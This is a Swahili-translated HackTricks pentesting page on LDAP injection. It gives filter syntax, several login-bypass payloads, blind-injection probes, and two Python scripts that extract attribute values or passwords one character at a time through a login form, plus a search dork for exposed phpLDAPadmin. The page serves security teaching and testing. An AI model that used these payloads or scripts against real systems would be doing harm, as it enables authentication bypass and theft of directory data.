hacktricks/pentesting-web/ldap-injection.md

# Kuingiza LDAP

## Kuingiza LDAP

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Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo ambayo hayawezi kuhack - **tunakupa kazi!** (_uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha unahitajika_).

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## Kuingiza LDAP

### **LDAP**

**Ikiwa unataka kujua ni nini LDAP tembelea ukurasa ufuatao:**

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}

**Kuingiza LDAP** ni shambulio linalolenga programu za wavuti ambazo hujenga taarifa za LDAP kutoka kwa mwingiliano wa mtumiaji. Hutokea wakati programu **haifanyi usafi ipasavyo** wa mwingiliano, kuruhusu wachomaji wa **kudhibiti taarifa za LDAP** kupitia mtoa huduma wa ndani, ikisababisha ufikiaji usioruhusiwa au upangilio wa data.

{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}

**Kichujio** = ( filtercomp )\
**Filtercomp** = na / au / si / kitu\
**Na** = & filterlist\
**Au** = |filterlist\
**Si** = ! filter\
**Filterlist** = 1\*filter\
**Kitu**= rahisi / kutokea / kipande\
**Rahisi** = sifa filtertype kauliayathibitisha\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Kutokea** = sifa = \*\
**Kipande** = sifa ”=” \[mwanzo] \* \[mwisho]\
**Mwanzo** = kauliayathibitisha\
**Mwisho** = kauliayathibitisha\
**(&)** = Halisi KWELI\
**(|)** = Halisi UONGO

Kwa mfano:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`

Unaweza kupata ufikiaji kwenye database, na hii inaweza kuwa na taarifa za aina nyingi tofauti.

**OpenLDAP**: Ikiwa filta 2 zinawasili, inatekeleza tu ya kwanza.\
**ADAM au Microsoft LDS**: Pamoja na filta 2 hutoa kosa.\
**SunOne Directory Server 5.0**: Inatekeleza filta zote mbili.

**Ni muhimu sana kutuma filta na muundo sahihi au kosa litatupwa. Ni bora kutuma filta moja tu.**

Filta lazima ianze na: `&` au `|`\
Mfano: `(&(directory=val1)(folder=public))`

`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`

Kisha: `(&(objectClass=`**`*)(ObjectClass=*))`** itakuwa filta ya kwanza (ile inayotekelezwa).

### Kupuuza Kuingia

LDAP inasaidia miundo kadhaa ya kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Kwa hivyo, inaweza kuwa kwamba bila kujali unachoweka ndani ya nywila, inahashishwa.
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```

```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```

```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```

```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```

```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```

```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```

```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```

```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```

```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### Orodha

* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
* [Vipengele vya LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [Vipengele vya LDAP PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)

### Kuingiza kipofu cha LDAP

Unaweza kulazimisha majibu ya Uongo au Kweli kuchunguza ikiwa data yoyote inarudi na kuthibitisha uwezekano wa Kuingiza kipofu cha LDAP:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```

```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### Poteza data

Unaweza kurudia herufi za ascii, tarakimu na alama:
```bash
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
```
### Scripts

#### **Gundua mashamba sahihi ya LDAP**

Vitu vya LDAP **kwa kawaida vina sifa kadhaa** ambazo zinaweza kutumika **kutunza habari**. Unaweza kujaribu **kufanya nguvu zote kuzitoa habari hizo.** Unaweza kupata orodha ya [**sifa za LDAP za msingi hapa**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **Mashambulizi Maalum ya LDAP Yasiyoonekana (bila "\*")**
```python
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### Google Dorks

### Google Dorks
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### Payloads Zaidi

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

Ikiwa uko **kwenye taaluma ya udukuzi** na unataka kudukua yasiyodukuzika - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).

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<details>

<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

Njia nyingine za kusaidia HackTricks:

* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>